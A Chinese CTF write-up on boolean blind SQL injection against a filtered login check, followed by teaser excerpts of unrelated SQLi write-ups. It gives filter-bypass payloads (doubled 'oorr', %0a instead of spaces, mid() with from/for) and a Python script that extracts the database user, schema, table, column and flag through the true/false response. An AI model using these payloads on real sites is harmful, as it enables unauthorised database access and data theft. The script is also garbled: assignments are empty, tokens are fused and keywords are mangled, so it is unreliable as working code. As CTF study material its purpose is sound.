原文:
先簡單地試試,發現輸入1會回顯you are in,輸入其他會回顯you are not in,而輸入1'也會回顯you are not in,這說明單引號沒有被吃掉,還可以使用。
繼續測試發現過濾了and、空格和|,or沒有被過濾。
構造id=1'or%0a'1或者id=1'or/**/'1,看到的回顯卻是you are not in,如果傳值沒有被改變的話,理論上返回的應該是you are in,而如果把代替空格的%0a和/**/去掉,就會回顯you are not in。這就說明,or被改變了。這種改變是可能繞過的,一般的後台處理邏輯是匹配or、or(不分大小寫)、or+空格並替換為空。嘗試改變大小寫和用oorr代替,發現回顯都為you are in,也就是說,後台處理應該是匹配or(小寫),並將其替換為空,並且僅僅處理了一次。
接下來就開始寫盲注指令碼囉,用oorr代替所有含有or的地方,用%0a或者括號代替空格。
還有乙個需要注意的地方:逗號被吃掉了,也就是說盲注的時候就需要用 from to 代替mid函式中的逗號
貼上指令碼:
# -*- coding:utf8 -*-
import requests
chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/?!:@#$%&(),.'
len =len(chars)
url=r''
mys=requests.session()
true_state='you are in'
result =''
# for x in range(50):
# 爆破使用者名稱長度 14
# payload = "0'oorr((length(user()))=%s)oorr'0"%(x)
# 爆破資料庫長度 18
# payload = "0'oorr((length(database()))=%s)oorr'0"%(x)
# myd=
# res=mys.post(url,data=myd).content
# if true_state in res:
# print x
# print 'true'
#爆破使用者名稱 web7@localhost
# for x in range(14):
# for y in chars:
# payload = "0'oorr((mid((user())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)
# myd =
# res=mys.post(url,data=myd).content
# if true_state in res:
# result = result + y
# print 'true'+str(x)
# print result
#爆破資料庫名 ctf_sql_bool_blind
# for x in range(18):
# for y in chars:
# payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)
# myd =
# res=mys.post(url,data=myd).content
# if true_state in res:
# result = result + y
# print 'true'+str(x)
# print result
#爆破表名 fiag@users
#爆破列名 fl$4g@id@username@password
for xin range(50):
condition =0
for yin chars:
condition = condition +1
# payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)
payload ="0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(x+1,y)
payload = payload.replace(' ',chr(0x0a))
myd =
res=mys.post(url,data=myd).content
if true_statein res:
result = result + y
print 'true'+" "+str(x)+" "+result
break
if condition == len:
result = result +' '
執行截圖:
getflag 這裡有個小坑,如果就這樣提交會是乙個錯誤的答案,這是因為flag中的某個字元被後台的sql處理語句給吃掉了。而這裡比較敏感的字元就只有-了,我們輸入id=1'--,發現回顯為you are not in,說明-確實被吃掉了。所以這個-的位置應該是另乙個字元。
經過多次測試,得知這裡是個空格。
SQL注入 布林注入
條件 當乙個頁面,存在注入,沒顯示位,沒有輸出sql語句執行錯誤資訊,只能通過頁面返回正常不正常進行判斷進行sql注入。例如 string sql null string a admin or 1 1 string b abc sql select from user where username ...
實驗吧 簡單sql注入之3
簡單sql注入之3 以下皆根據布林盲注手工注入步驟並且借助burpsuite的intruder功能對資料庫名 表名等等進行爆破 需要注意 0x00 爆資料庫 方法一 可以通過burpsuite攔截資料報,更改ascii值重發獲取 1 and length database n 資料庫名長度是4 1 ...
實驗吧 簡單的sql注入之2
burp fuzz 發現過濾了 select 空格而且它是直接die sqli detected 無法雙寫繞過,換大小寫試一下,也被過濾了。無法大小寫繞過。0aselect 0a無法繞過,select 和 select 可以繞過 由於無法使用 所以我們無法使用函式,報錯和database 都無法使用...